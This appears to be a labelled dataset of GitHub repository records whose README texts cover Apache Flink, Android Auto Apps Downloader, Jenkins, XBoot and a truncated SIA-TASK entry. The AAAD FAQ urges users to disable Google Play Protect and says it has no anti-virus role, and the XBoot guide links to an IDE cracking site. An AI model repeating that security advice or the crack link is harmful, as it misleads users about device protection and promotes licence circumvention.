full_name
stringlengths
7
70
description
stringlengths
4
590
created_at
stringlengths
20
20
last_commit
float64
readme
stringlengths
14
559k
label
int64
0
1
apache/flink
Apache Flink
2014-06-07T07:00:10Z
null
# Apache Flink Apache Flink is an open source stream processing framework with powerful stream- and batch-processing capabilities. Learn more about Flink at [https://flink.apache.org/](https://flink.apache.org/) ### Features * A streaming-first runtime that supports both batch processing and data streaming programs * Elegant and fluent APIs in Java and Scala * A runtime that supports very high throughput and low event latency at the same time * Support for *event time* and *out-of-order* processing in the DataStream API, based on the *Dataflow Model* * Flexible windowing (time, count, sessions, custom triggers) across different time semantics (event time, processing time) * Fault-tolerance with *exactly-once* processing guarantees * Natural back-pressure in streaming programs * Libraries for Graph processing (batch), Machine Learning (batch), and Complex Event Processing (streaming) * Built-in support for iterative programs (BSP) in the DataSet (batch) API * Custom memory management for efficient and robust switching between in-memory and out-of-core data processing algorithms * Compatibility layers for Apache Hadoop MapReduce * Integration with YARN, HDFS, HBase, and other components of the Apache Hadoop ecosystem ### Streaming Example ```scala case class WordWithCount(word: String, count: Long) val text = env.socketTextStream(host, port, '\n') val windowCounts = text.flatMap { w => w.split("\\s") } .map { w => WordWithCount(w, 1) } .keyBy("word") .window(TumblingProcessingTimeWindow.of(Time.seconds(5))) .sum("count") windowCounts.print() ``` ### Batch Example ```scala case class WordWithCount(word: String, count: Long) val text = env.readTextFile(path) val counts = text.flatMap { w => w.split("\\s") } .map { w => WordWithCount(w, 1) } .groupBy("word") .sum("count") counts.writeAsCsv(outputPath) ``` ## Building Apache Flink from Source Prerequisites for building Flink: * Unix-like environment (we use Linux, Mac OS X, Cygwin, WSL) * Git * Maven (we require version 3.8.6) * Java 8 or 11 (Java 9 or 10 may work) ``` git clone https://github.com/apache/flink.git cd flink ./mvnw clean package -DskipTests # this will take up to 10 minutes ``` Flink is now installed in `build-target`. ## Developing Flink The Flink committers use IntelliJ IDEA to develop the Flink codebase. We recommend IntelliJ IDEA for developing projects that involve Scala code. Minimal requirements for an IDE are: * Support for Java and Scala (also mixed projects) * Support for Maven with Java and Scala ### IntelliJ IDEA The IntelliJ IDE supports Maven out of the box and offers a plugin for Scala development. * IntelliJ download: [https://www.jetbrains.com/idea/](https://www.jetbrains.com/idea/) * IntelliJ Scala Plugin: [https://plugins.jetbrains.com/plugin/?id=1347](https://plugins.jetbrains.com/plugin/?id=1347) Check out our [Setting up IntelliJ](https://nightlies.apache.org/flink/flink-docs-master/flinkDev/ide_setup.html#intellij-idea) guide for details. ### Eclipse Scala IDE **NOTE:** From our experience, this setup does not work with Flink due to deficiencies of the old Eclipse version bundled with Scala IDE 3.0.3 or due to version incompatibilities with the bundled Scala version in Scala IDE 4.4.1. **We recommend to use IntelliJ instead (see above)** ## Support Don’t hesitate to ask! Contact the developers and community on the [mailing lists](https://flink.apache.org/community.html#mailing-lists) if you need any help. [Open an issue](https://issues.apache.org/jira/browse/FLINK) if you find a bug in Flink. ## Documentation The documentation of Apache Flink is located on the website: [https://flink.apache.org](https://flink.apache.org) or in the `docs/` directory of the source code. ## Fork and Contribute This is an active open-source project. We are always open to people who want to use the system or contribute to it. Contact us if you are looking for implementation tasks that fit your skills. This article describes [how to contribute to Apache Flink](https://flink.apache.org/contributing/how-to-contribute.html). ## Externalized Connectors Most Flink connectors have been externalized to individual repos under the [Apache Software Foundation](https://github.com/apache): * [flink-connector-aws](https://github.com/apache/flink-connector-aws) * [flink-connector-cassandra](https://github.com/apache/flink-connector-cassandra) * [flink-connector-elasticsearch](https://github.com/apache/flink-connector-elasticsearch) * [flink-connector-gcp-pubsub](https://github.com/apache/flink-connector-gcp-pubsub) * [flink-connector-hbase](https://github.com/apache/flink-connector-hbase) * [flink-connector-jdbc](https://github.com/apache/flink-connector-jdbc) * [flink-connector-kafka](https://github.com/apache/flink-connector-kafka) * [flink-connector-mongodb](https://github.com/apache/flink-connector-mongodb) * [flink-connector-opensearch](https://github.com/apache/flink-connector-opensearch) * [flink-connector-prometheus](https://github.com/apache/flink-connector-prometheus) * [flink-connector-pulsar](https://github.com/apache/flink-connector-pulsar) * [flink-connector-rabbitmq](https://github.com/apache/flink-connector-rabbitmq) ## About Apache Flink is an open source project of The Apache Software Foundation (ASF). The Apache Flink project originated from the [Stratosphere](http://stratosphere.eu) research project.
0
shmykelsa/AAAD
null
2021-04-28T07:36:37Z
null
# AAAD [![Crowdin](https://badges.crowdin.net/aaad/localized.svg)](https://crowdin.com/project/aaad) ![banner](https://i.imgur.com/EeT5Y3v.png) Android Auto Apps Downloader (AAAD) is an app for Android Phones that downloads popular Android Auto 3rd party apps and installs them in the correct way to have them in Android Auto. For the first time in 3 years, now users with **non-rooted Android devices** can enjoy these apps made for Android Auto, and Android Auto Apps Downloader does it all for you. Simply select an app you want to install on your phone and the download will begin. Once completed, install the given app with the classic Android interface and you can start enjoying the app you’ve just downloaded on Android Auto. ### No need for a PC. No developer options. No need of grabbing APKs and patch them. No root needed AAAD can be easily installed on any Android phone and the whole installing process takes place only on it. You will not need to activate developer settings, neither in main settings nor in Android Auto. The main goal of this app is having the listed apps in Android Auto with a pain free experience and, most of all, without requiring a rooted phone. If you are instead running a rooted device, you might want to consider the free alternative [AA AIO TWEAKER](https://github.com/shmykelsa/AA-Tweaker), which has an alternative root method to patch the apps and it has a lot of other cool features that you can activate or pre-activate on Android Auto! AAAD is free and offers in app purchases. The free version of the app allows up to 1 download every 30 days. With the PRO version you can enjoy the full experience and download as many times as you want, forever! # 🚨🚨‼‼ KNOWN ISSUES ‼‼🚨🚨 **Oppo/Realme/OnePlus devices won't show apps or "No messages during drive"** - Please apply [this fix](https://github.com/shmykelsa/AAAD/wiki/Fix-for-OnePlus-Realme-Oppo) **Google Pixel: "No new messages during drive" - Android 13** - Please apply [this fix](https://github.com/shmykelsa/AAAD/wiki/Fix-for-Pixel-Android-13-) before installing **Android 14: Not compatible as of now** **"This organization is currently ineligible to receive donations" - Please download AAAD only from this website, 3rd party downloads are not authorized, endorsed nor supported by our staff** **GiroPay/Ideal/Przelewy24/Bancontact/EPS Payment has not been recognized by the app - Please follow[ this link](mailto:help.aaad@gmail.com?subject=AAADSI&body=Hello%2C%0D%0A%0D%0Athis%20is%20a%20pre-formatted%20e-mail.%20Please%20DO%20NOT%20edit%20the%20subject%20above%20and%20modify%20the%20e-mail%20with%20the%20right%20details.%20After%20sending%20the%20e-mail%20you%20will%20receive%20instructions%20on%20how%20to%20activate%20from%20email%20help.aaad%2Bcanned.response%40gmail.com.%20Please%20also%20check%20spam%20folder%20if%20nothing%20came%20to%20you.%0D%0A%0D%0AMethod%20of%20payment%3A%0D%0ALast%20four%20(4)%20digits%20of%20the%20card%20used%20(if%20applicable)%3A%0D%0ADate%20(and%20time%20if%20possible)%3A%0D%0AFull%20name%3A%0D%0A%0D%0A)** **Fermata Auto download shows "App not responding (wait or close)"** - Fermata is quite heavy to download and GitHub servers are not the easiest with downloads. Please keep pressing on "wait". If it does fail, select top menu, select help and contact us through the app describing the steps you take to reproduce the issue. **A factory reset wipes the license away** - [Click here](mailto:help.aaad@gmail.com?subject=PROWIPED&body=Hello%2C%0D%0A%0D%0Amy%20license%20was%20lost%20after%20a%20device%20reset.%0D%0A%0D%0AThe%20e-mail%20I%E2%80%99ve%20registered%20for%20my%20payment%20is%3A%20****MODIFY%20HERE****%0D%0A%0D%0ARegards%0D%0A%0D%0A>) **Google Play Protect erased the downloaded apps** - There's a deeper explanation [down here](#i-have-a-warning-from-google-play-protect-warning-me-about-your-app-is-this-app-a-malware). Please take a depp look before proceeding with installing any app. The install button is usually hidden and the big blue button **WILL NOT** install the app you've chosen. Please use the "Install anyway" button instead. ### [GO TO DOWNLOAD](https://github.com/shmykelsa/AAAD/releases) ### Updates If you want to stay updated with development, you can check out the [dedicated Telegram Channel](https://t.me/AAADupdates). Be sure to watch the repository with the banner on the top right, you will be notified via mail if AAAD gets updated (GitHub account needed)! Star us if you really think AAAD is a good software :) PRO version of the app can be activated directly and automatically inside the app and it will be bind to one device and the PRO or FREE version (including the date of next download) of the app will survive app uninstall. # Notes Android Auto Apps Downloader **does not grant** in any way that the provided apps available for installing will actually work on Android Auto. The installing method can fail anytime if Google applies changes to Android Auto. Any software installed by Android Auto Apps Downloader is provided "as it is" and no support can be given by me for malfunctioning apps or malfunctioning Android Auto. # F.A.Q. ### How can I have support for this app? You can contact help team through AAAD app (top right menu > "help"). We are a very small team working from Italy so please keep patience with us in case you write us over night! ### How do I obtain a license? To get started, press the bottom text of the AAAD app. ### Can I pay for a license outside the app? Sure you can. Feel free to [pay through Stripe](https://buy.stripe.com/14k5mQ3ih6l7dMs8ww) or donate any amount (equal or bigger than the asking price - 3.50 EUR) [via PayPal](https://www.paypal.com/donate/?hosted_button_id=V666UVPT9C5CJ), and keep the donation receipt (bank statement, confirmation page, e-mail etc.). Then please [click here](mailto:help.aaad@gmail.com?subject=%5BGW%5D&body=Please%20don%E2%80%99t%20modify%20the%20subject%20above%20and%20feel%20free%20to%20modify%20this%20body%20leaving%20a%20small%20thought.%20An%20automatic%20response%20will%20then%20guide%20you%20to%20the%20following%20steps%20%3A)) or write an e-mail to help.aaad@gmail.com and write "[GW]" in the subject, and be sure to include also a small thought :). An automatic reply will guide you to the stepts to take after. ### What will a license of AAAD give me? The license for AAAD pro will give you access to unlimited downloads. ### Do I have to buy a license to have the apps working while the vehicle is not parked? No. AAAD pro does only give access to unlimited downloads. ### I've downloaded the app "xxx" from AAAD but it's not working well. What can I do? The best thing is to ask the app's developer as we do not offer support for the apps inside AAAD. The apps are provided "as-is", and being developed by someone else, nobody from AAAD will be able to give the proper technical support for them. As long as the app is listed on Android Auto, apart from the "No new messages during drive" bug, then AAAD is working just as designed. If your app is not listed at all or suffers from the "No new messages during drive" contact help through AAAD app (top right menu > "help"). ### Why the heck do I need this app? Can’t I just install the apps by myslef? Well yes, you could, but they would not appear in Android Auto. Since the beginning of 2018 the custom apps for Android Auto are blocked by Google, but AAAD installs them in a special way in order to actually see the apps on Android Auto. And no root is needed! Call it magic, if you will. If you have a rooted phone, check out [AA AIO TWEAKER](https://github.com/shmykelsa/AA-Tweaker) instead. ### I have a warning from Google Play Protect warning me about your app! Is this app a malware? AAAD does not contain any malware, and neither the apps inside it. Google obviously doesn't like Android Auto modding because of driving security. If you want to avoid any warning you'd want to know that Google Play Protect does not really have any anti-virus feature, rather it just warns of apps that Google doesn't like because of various reasons (e.g. installing other apps like Google Play Store does or contain third party in app purchase system). You can safely disable it by heading into Google Play Store's settings. ### Why only these apps? Where is YouTube? Where is Netflix? Where is Instagram? Not all apps are compatible with Android Auto. You can’t just pick an app and sledge-hammer it into Android Auto. As a rule of thumb, no app from Google Play Store will be ever included in AAAD (unless such app has a different APK distributed in another platform). Apps coming from the Play Store are automatically available on Android Auto. Obviously, Google allows only certain types of apps on its store (navigation, music, messages, VOIP). Whenever an app implements Android Auto as functionality, it can't be falling in a different category from the ones allowed by Google. AAAD includes basically almost every Android Auto app known to date, and the only responsibility of AAAD is to make them available in Android Auto. If you know for sure there's an app compatible with Android Auto that is not included in AAAD, write to [submit.aaad@gmail.com](mailto:submit.aaad@gmail.com) ### How do I update the apps installed from AAAD? AAAD will always download latest version of an app. If one of the apps that you've installed through AAAD gets an update, you can open AAAD and download the update. At the moment, there's no update checker, but I'm planning on making it! ### Will you hold my bank account/credit card informations? No. All the details of payment are held by Stripe Inc. and not processed nor passed to myself in any way. Also, I don't really care. ### Will this app be available on the Play Store? No. It is only officially distributed on GitHub. ### Has the license an expiration date? No. AAAD is not a subscription, and once a license is obtained you won't be charged anymore. ### What happens if I change my device? You can transfer a license with the feature "Transfer license" on the top right menu. The license will be crypted inside the device with a key that we will not hold in any way and the above method is the only way to move a license for AAAD pro. ### What happens if I uninstall AAAD? Nothing. The date for next download will not be impacted and neither your AAAD pro version. # License Part of the source code of the app is shared so that changes can be implemented by whoever wants to do so for personal use, the full version of the software is **NOT** free, and you are not allowed to redistirbute modified versions of it, neither as a free application, niether as a commercial product. If you are intending to do so please seek my explicit writing approval for doing so. However you are allowed to modify the software as you wish as long as the modified version is **only** ever used by yourself. For more informations [please read the EULA](https://github.com/shmykelsa/AAAD/blob/main/LICENSE). ### Copyright Gabriele Rizzo (shmykelsa) © - 2023 - Lecce, Italia
0
jenkinsci/jenkins
Jenkins automation server
2010-11-22T21:21:23Z
null
<a href="https://jenkins.io"> <img width="400" src="https://www.jenkins.io/images/jenkins-logo-title-dark.svg" alt="Jenkins logo"> </a> # About [![Jenkins Regular Release](https://img.shields.io/endpoint?url=https%3A%2F%2Fwww.jenkins.io%2Fchangelog%2Fbadge.json)](https://www.jenkins.io/changelog) [![Jenkins LTS Release](https://img.shields.io/endpoint?url=https%3A%2F%2Fwww.jenkins.io%2Fchangelog-stable%2Fbadge.json)](https://www.jenkins.io/changelog-stable) [![Docker Pulls](https://img.shields.io/docker/pulls/jenkins/jenkins.svg)](https://hub.docker.com/r/jenkins/jenkins/) [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/3538/badge)](https://bestpractices.coreinfrastructure.org/projects/3538) [![Reproducible Builds](https://img.shields.io/badge/Reproducible_Builds-ok-green)](https://maven.apache.org/guides/mini/guide-reproducible-builds.html) [![Gitter](https://img.shields.io/gitter/room/jenkinsci/jenkins)](https://app.gitter.im/#/room/#jenkinsci_jenkins:gitter.im) In a nutshell, Jenkins is the leading open-source automation server. Built with Java, it provides over 1,800 [plugins](https://plugins.jenkins.io/) to support automating virtually anything, so that humans can spend their time doing things machines cannot. # What to Use Jenkins for and When to Use It Use Jenkins to automate your development workflow, so you can focus on work that matters most. Jenkins is commonly used for: - Building projects - Running tests to detect bugs and other issues as soon as they are introduced - Static code analysis - Deployment Execute repetitive tasks, save time, and optimize your development process with Jenkins. # Downloads The Jenkins project provides official distributions as WAR files, Docker images, native packages and installers for platforms including several Linux distributions and Windows. See the [Downloads](https://www.jenkins.io/download) page for references. For all distributions Jenkins offers two release lines: - [Weekly](https://www.jenkins.io/download/weekly/) - Frequent releases which include all new features, improvements, and bug fixes. - [Long-Term Support (LTS)](https://www.jenkins.io/download/lts/) - Older release line which gets periodically updated via bug fix backports. Latest releases: [![Jenkins Regular Release](https://img.shields.io/endpoint?url=https%3A%2F%2Fwww.jenkins.io%2Fchangelog%2Fbadge.json)](https://www.jenkins.io/changelog) [![Jenkins LTS Release](https://img.shields.io/endpoint?url=https%3A%2F%2Fwww.jenkins.io%2Fchangelog-stable%2Fbadge.json)](https://www.jenkins.io/changelog-stable) # Source Our latest and greatest source of Jenkins can be found on [GitHub](https://github.com/jenkinsci/jenkins). Fork us! # Contributing to Jenkins Follow the [contributing guidelines](CONTRIBUTING.md) if you want to propose a change in the Jenkins core. For more information about participating in the community and contributing to the Jenkins project, see [this page](https://www.jenkins.io/participate/). Documentation for Jenkins core maintainers is in the [maintainers guidelines](docs/MAINTAINERS.adoc). # News and Website All information about Jenkins can be found on our [website](https://www.jenkins.io/). Follow us on [Twitter](https://twitter.com/jenkinsci) or [LinkedIn](https://www.linkedin.com/company/jenkins-project/). # Governance See the [Jenkins Governance Document](https://www.jenkins.io/project/governance/) for information about the project's open governance, our philosophy and values, and development practices. Jenkins Code of Conduct can be found [here](https://www.jenkins.io/project/conduct/). # Adopters Jenkins is used by millions of users and thousands of companies. See [adopters](https://www.jenkins.io/project/adopters/) for the list of Jenkins adopters and their success stories. # License Jenkins is **licensed** under the **[MIT License](LICENSE.txt)**.
0
Exrick/xboot
基于Spring Boot 2.x的一站式前后端分离快速开发平台XBoot 微信小程序+Uniapp 前端:Vue+iView Admin 后端:Spring Boot 2.x/Spring Security/JWT/JPA+Mybatis-Plus/Redis/Elasticsearch/Activiti 分布式限流/同步锁/验证码/SnowFlake雪花算法ID 动态权限 数据权限 工作流 代码生成 定时任务 社交账号 短信登录 单点登录 OAuth2开放平台 客服机器人 数据大屏 暗黑模式
2018-04-23T14:44:18Z
null
# XBoot [![AUR](https://img.shields.io/badge/GPL-v3-red)](https://github.com/Exrick/xmall/blob/master/License) [![](https://img.shields.io/badge/Author-Exrick-orange.svg)](http://blog.exrick.cn) [![](https://img.shields.io/badge/version-3.3.4-brightgreen.svg)](https://github.com/Exrick/x-boot) [![GitHub stars](https://img.shields.io/github/stars/Exrick/x-boot.svg?style=social&label=Stars)](https://github.com/Exrick/x-boot) [![GitHub forks](https://img.shields.io/github/forks/Exrick/x-boot.svg?style=social&label=Fork)](https://github.com/Exrick/x-boot) ### 宣传视频 - [作者亲自制作XBoot文字快闪宣传视频](http://www.bilibili.com/av30284667) - [作者亲自制作其他项目宣传视频](https://www.bilibili.com/video/av23121122/) ### 宣传官网 - 官网地址:http://xb.exrick.cn - 官网源码:https://github.com/Exrick/xboot-show ### 在线Demo - 在线Demo:http://xboot.exrick.cn - 单点登录测试页:http://sso.exrick.cn - 统一认证平台访问地址:http://xboot.exrick.cn/authorize ### 最新最全面在线文档 https://www.kancloud.cn/exrick/xboot/content ### 前台基于Vue+iView项目地址: [xboot-front](https://github.com/Exrick/xboot-front) ### 版本说明 - xboot-fast:单应用版本 - xboot-module:多模块版本 ### 项目简介 - [x] 代码拥有详细注释 无复杂逻辑 核心使用 SpringBoot 2.4.8 - [x] JWT / 基于Redis可配置单设备登录Token交互 任意切换 提供开放平台、OAuth2认证中心 支持点单登录 - [x] JPA + Mybatis-Plus 任意切换 - [x] 操作日志记录方式任意切换Mysql或Elasticseach记录 - [x] Java、Vue、SQL代码生成效率翻四倍 - [x] 动态权限管理、多维度轻松控制权限按钮显示、数据权限管理 - [x] 支持社交账号、短信等多方式登录 不干涉原用户数据 实现第三方账号管理 - [x] 基于Websocket消息推送管理、基于Quartz定时任务管理、数据字典管理 - [x] 后台提供分布式限流、同步锁、验证码等工具类 前端提供丰富Vue模版 - [x] 可动态配置短信、邮件、Vaptcha验证码等 - [x] 为什么要前后端分离 - 都什么时代了还在用JQuery? ![](https://ooo.0o0.ooo/2019/04/29/5cc70cac4b7a4.png) ### 截图预览 - PC ![QQ截图20180826163917.png](https://ooo.0o0.ooo/2021/07/01/t6RXqn8LeaY5Nu1.png) ![QQ截图20180826164058.png](https://ooo.0o0.ooo/2021/07/01/TQZqrxog4ufX2SR.png) ![QQ截图20180826164144.png](https://ooo.0o0.ooo/2021/07/01/t7RdWhkbzZCawce.png) - iPad Mini 5 <img src=https://ooo.0o0.ooo/2021/07/01/gXl5OKkJHEIwf3N.png width=600/> - iPhone X <img src=https://ooo.0o0.ooo/2021/07/01/LdNPiKMlOESvfW8.png width=300/> ### [完整版截图细节展示](https://github.com/Exrick/x-boot/wiki/%E5%AE%8C%E6%95%B4%E7%89%88%E6%88%AA%E5%9B%BE%E7%BB%86%E8%8A%82%E5%B1%95%E7%A4%BA) ### 系统架构 <img src="https://ooo.0o0.ooo/2019/05/01/5cc87695f109d.png" width="600px"/> ### 前端所用技术 - Vue 2.6.x、Vue Cli 4.x、iView、iview-admin、iview-area、Vuex、Vue Router、ES6、webpack、axios、echarts、cookie等 - 前台为基于Vue+iView的独立项目请跳转至 [xboot-front](https://github.com/Exrick/xboot-front) 项目仓库查看 ### 后端所用技术 <img src=https://ooo.0o0.ooo/2019/11/25/gUiynavBAHd6hY8.jpg width=1000/> ##### 各框架依赖版本皆使用目前最新版本 - Spring Boot - SpringMVC - Spring Security - [Spring Data JPA](https://docs.spring.io/spring-data/jpa/docs/2.2.2.RELEASE/reference/html/) - [MyBatis-Plus](http://mp.baomidou.com):已更新至3.x版本 - [Redis](https://github.com/Exrick/xmall/blob/master/study/Redis.md) - [Elasticsearch](https://github.com/Exrick/xmall/blob/master/study/Elasticsearch.md):基于Lucene分布式搜索引擎 - [Druid](http://druid.io/):阿里高性能数据库连接池(偏监控 注重性能可使用默认HikariCP) [Druid配置官方中文文档](https://github.com/alibaba/druid/tree/master/druid-spring-boot-starter) - [Json Web Token(JWT)](https://jwt.io/) - [Quartz](http://www.quartz-scheduler.org):定时任务 - [Beetl](http://ibeetl.com/guide/#beetl):模版引擎 代码生成使用 - [Thymeleaf](https://www.thymeleaf.org/):发送模版邮件使用 - [Hutool](http://hutool.mydoc.io/):Java工具包 - [Jasypt](https://github.com/ulisesbocchio/jasypt-spring-boot):配置文件加密(thymeleaf作者开发) - [Swagger2](https://github.com/Exrick/xmall/blob/master/study/Swagger2.md):Api文档生成 - MySQL - [Nginx](https://github.com/Exrick/xmall/blob/master/study/Nginx.md) - [Maven](https://github.com/Exrick/xmall/blob/master/study/Maven.md) - 第三方SDK或服务 - [七牛云文件存储服务](https://developer.qiniu.com/kodo/sdk/1239/java) - [腾讯位置服务](https://lbs.qq.com/webservice_v1/guide-ip.html):需申请填入key后免费使用 - 完整版 - [Vaptcha人机验证码](https://www.vaptcha.com/) - [阿里云短信服务](https://dysms.console.aliyun.com) - 其它开发工具 - [Lombok](https://projectlombok.org/) - [JRebel](https://github.com/Exrick/xmall/blob/master/study/JRebel.md):开发秒级热部署 - [阿里JAVA开发规约插件](https://github.com/alibaba/p3c) ### 最新最全面在线文档 > 第一时间更新,文档永不收费 https://www.kancloud.cn/exrick/xboot/content ### 本地运行部署 - 安装依赖并启动:[Redis](https://github.com/Exrick/xmall/blob/master/study/Redis.md)、[Elasticsearch](https://github.com/Exrick/xmall/blob/master/study/Elasticsearch.md)(当配置使用ES记录日志时需要) - [Maven安装和在IDEA中配置](https://github.com/Exrick/xmall/blob/master/study/Maven.md) - 建议使用IDEA([破解/免费注册](http://idea.lanyus.com/)) 安装 `Lombok` 插件后导入该Maven项目 若未自动下载依赖请在根目录下执行 `mvn install` 命令 - MySQL数据库新建 `xboot` 数据库,配置文件已开启ddl自动生成表结构但无初始数据,请记得运行导入xboot.sql文件(当报错找不到Quartz相关表时请设置数据库忽略大小写或额外重新导入quartz.sql) - 修改配置文件 `application.yml` 相应配置,其中有详细注释,所有配置只需在这里修改 - 编译器中启动运行 `XbootApplication.java` 或根目录下执行命令 `mvn spring-boot:run` 默认端口8888 访问接口文档 `http://localhost:8888/doc.html` 说明启动成功 管理员账密admin|123456 - 前台页面请启动基于Vue的 [xboot-front](https://github.com/Exrick/xboot-front) 项目,并修改其接口代理配置 > 温馨提示:若更新代码后报错,请记得更新sql并清空Redis缓存 ### 开发指南及相关技术栈文档 - [项目基本配置和使用相关技术栈文档【必读】](https://github.com/Exrick/x-boot/wiki/%E9%A1%B9%E7%9B%AE%E5%9F%BA%E6%9C%AC%E9%85%8D%E7%BD%AE%E5%92%8C%E4%BD%BF%E7%94%A8%E7%9B%B8%E5%85%B3%E6%8A%80%E6%9C%AF%E6%A0%88%E6%96%87%E6%A1%A3%E3%80%90%E5%BF%85%E8%AF%BB%E3%80%91) - [如何使用XBoot后端在30秒内开发出增删改接口](https://github.com/Exrick/x-boot/wiki/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8XBoot%E5%90%8E%E7%AB%AF%E5%9C%A830%E7%A7%92%E5%86%85%E5%BC%80%E5%8F%91%E5%87%BA%E5%A2%9E%E5%88%A0%E6%94%B9%E6%8E%A5%E5%8F%A3) - [具体XBoot增删改文档示例](https://github.com/Exrick/x-boot/wiki/CRUD) - 完整版 - [第三方社交账号登录配置](https://github.com/Exrick/x-boot/wiki/%E7%AC%AC%E4%B8%89%E6%96%B9%E7%A4%BE%E4%BA%A4%E8%B4%A6%E5%8F%B7%E7%99%BB%E5%BD%95%E9%85%8D%E7%BD%AE) - [短信登录配置](https://github.com/Exrick/x-boot/wiki/%E7%9F%AD%E4%BF%A1%E7%99%BB%E5%BD%95%E9%85%8D%E7%BD%AE) - [Vaptcha人机验证码配置使用](https://github.com/Exrick/x-boot/wiki/vaptcha%E4%BA%BA%E6%9C%BA%E9%AA%8C%E8%AF%81%E7%A0%81%E9%85%8D%E7%BD%AE%E4%BD%BF%E7%94%A8) - [Activiti工作流开发说明](https://github.com/Exrick/x-boot/wiki/Activiti%E5%B7%A5%E4%BD%9C%E6%B5%81%E5%BC%80%E5%8F%91%E8%AF%B4%E6%98%8E) ### [分布式扩展](https://github.com/alibaba/dubbo-spring-boot-starter/blob/master/README_zh.md) ### XBoot后端学习分享(更新中) 1. [Spring Boot 2.x 区别总结](https://github.com/Exrick/x-boot/wiki/SpringBoot2.x%E5%8C%BA%E5%88%AB%E6%80%BB%E7%BB%93) 2. [Spring Security整合JWT](https://github.com/Exrick/x-boot/wiki/SpringSecurity%E6%95%B4%E5%90%88JWT) 3. [Spring Security实现动态数据库权限管理](https://github.com/Exrick/x-boot/wiki/SpringSecurity%E5%8A%A8%E6%80%81%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86) 4. [Spring Boot 2.x整合Quartz](https://github.com/Exrick/x-boot/wiki/Spring-Boot-2.x%E6%95%B4%E5%90%88Quartz) 5. [基于Websocket实现发送消息后右上角消息图标红点实时显示](https://github.com/Exrick/x-boot/wiki/%E5%9F%BA%E4%BA%8EWebsocket%E5%AE%9E%E7%8E%B0%E5%8F%91%E9%80%81%E6%B6%88%E6%81%AF%E5%90%8E%E5%8F%B3%E4%B8%8A%E8%A7%92%E6%B6%88%E6%81%AF%E5%9B%BE%E6%A0%87%E7%BA%A2%E7%82%B9%E5%AE%9E%E6%97%B6%E6%98%BE%E7%A4%BA) 6. [Spring Boot 2.x整合Activiti工作流以及模型设计器](https://github.com/Exrick/x-boot/wiki/Spring-Boot-2.x%E6%95%B4%E5%90%88Activiti%E5%B7%A5%E4%BD%9C%E6%B5%81%E4%BB%A5%E5%8F%8A%E6%A8%A1%E5%9E%8B%E8%AE%BE%E8%AE%A1%E5%99%A8) ### Docker下后端集群部署(更新中) > 前端集群部署请跳转至[xboot-front](https://github.com/Exrick/xboot-front)项目查看 1.[Docker的安装与常用命令](https://github.com/Exrick/x-boot/wiki/Docker%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4) 2.基于PXC架构Mysql数据库集群搭建 3.Redis集群搭建 4.Elasticsearch集群搭建 5.XBoot后端集群部署 ### 商用授权 - 个人学习使用遵循GPL开源协议 - 商用需联系作者授权 ### 作者其他项目推荐 - [XMall微信小程序APP前端 现已开源!](https://github.com/Exrick/xmall-weapp) [![WX20190924-234416@2x.png](https://s2.ax1x.com/2019/10/06/ucEsBD.md.png)](https://www.bilibili.com/video/av70226175) - [XMall:基于SOA架构的分布式电商购物商城](https://github.com/Exrick/xmall) ![](https://ooo.0o0.ooo/2018/07/22/5b54615b95788.jpg) - [XPay个人免签收款支付系统](https://github.com/Exrick/xpay) - 机器学习笔记 - [Machine-Learning](https://github.com/Exrick/Machine-Learning) ### 技术疑问交流 - QQ交流群 `475743731(付费)`,可获取各项目详细图文文档、疑问解答 [![](http://pub.idqqimg.com/wpa/images/group.png)](http://shang.qq.com/wpa/qunwpa?idkey=7b60cec12ba93ebed7568b0a63f22e6e034c0d1df33125ac43ed753342ec6ce7) - 免费交流群 `562962309` [![](http://pub.idqqimg.com/wpa/images/group.png)](http://shang.qq.com/wpa/qunwpa?idkey=52f6003e230b26addeed0ba6cf343fcf3ba5d97829d17f5b8fa5b151dba7e842) - 作者博客:[http://blog.exrick.cn](http://blog.exrick.cn) ### [捐赠](http://xpay.exrick.cn/pay)
0
siaorg/sia-task
微服务任务调度框架
2019-05-15T03:23:47Z
null
## 关于我们 * 邮件交流:sia.list@creditease.cn * 提交issue: * 微信交流: <img src="docs/images/newlog.jpeg" width="30%" height="30%"> 微服务任务调度平台 === [使用指南](USERSGUIDE.md) </br> [开发指南](DEVELOPGUIDE.md) </br> [部署指南](DEPLOY.md)</br> [Demo](FASTSTART.md)</br> 背景 --- 无论是互联网应用或者企业级应用,都充斥着大量的批处理任务。我们常常需要一些任务调度系统帮助我们解决问题。随着微服务化架构的逐步演进,单体架构逐渐演变为分布式、微服务架构。在此的背景下,很多原先的任务调度平台已经不能满足业务系统的需求。于是出现了一些基于分布式的任务调度平台。这些平台各有其特点,但各有不足之处,比如不支持任务编排、与业务高耦合、不支持跨平台等问题。不是非常符合公司的需求,因此我们开发了微服务任务调度平台(SIA-TASK)。 SIA是我们公司基础开发平台Simple is Awesome的简称,SIA-TASK(微服务任务调度平台)是其中的一项重要产品,SIA-TASK契合当前微服务架构模式,具有跨平台,可编排,高可用,无侵入,一致性,异步并行,动态扩展,实时监控等特点。 Introduction --- A lot of batch tasks need to be processed by task scheduling systems. The single architectures are evolving towards distributed ones. We often need distributed task scheduling platforms to handle the needs of business systems. But such platforms may not support task scheduling across OS or are coupled with business features. We therefore decided to develop SIA-TASK. SIA (Simple is Awesome) is our basic development platform. SIA-TASK is one of the key products of SIA and can work across OS. Its features include task scheduling, high availability, non-invasiveness, consistency, asynchronous concurrent processing, dynamic scale-out and real-time monitoring, etc. 项目简介 --- SIA-TASK是任务调度的一体式解决方案。对任务进行元数据采集,然后进行任务可视化编排,最终进行任务调度,并且对任务采取全流程监控,简单易用。对业务完全无侵入,通过简单灵活的配置即可生成符合预期的任务调度模型。 SIA-TASK借鉴微服务的设计思想,获取分布在每个任务执行器上的任务元数据,上传到任务注册中心。利用在线方式进行任务编排,可动态修改任务时钟,采用HTTP作为任务调度协议,统一使用JSON数据格式,由调度中心进行时钟解析,执行任务流程,进行任务通知。 Overview --- SIA-TASK is an integrated non-invasive task scheduling solution. It collects task metadata and then visualizes and schedules the tasks. The scheduled tasks are monitored throughout the whole process. An ideal task scheduling model can be generated after simple and flexible configuration. SIA-TASK collects task metadata on all executers and upload the data to the registry. The tasks are scheduled online using JSON with HTTP as the protocol. The scheduling center parses the clock, executes tasks and sends task notifications. 关键术语 --- * 任务(Task): 基本执行单元,执行器对外暴露的一个HTTP调用接口; * 作业(Job): 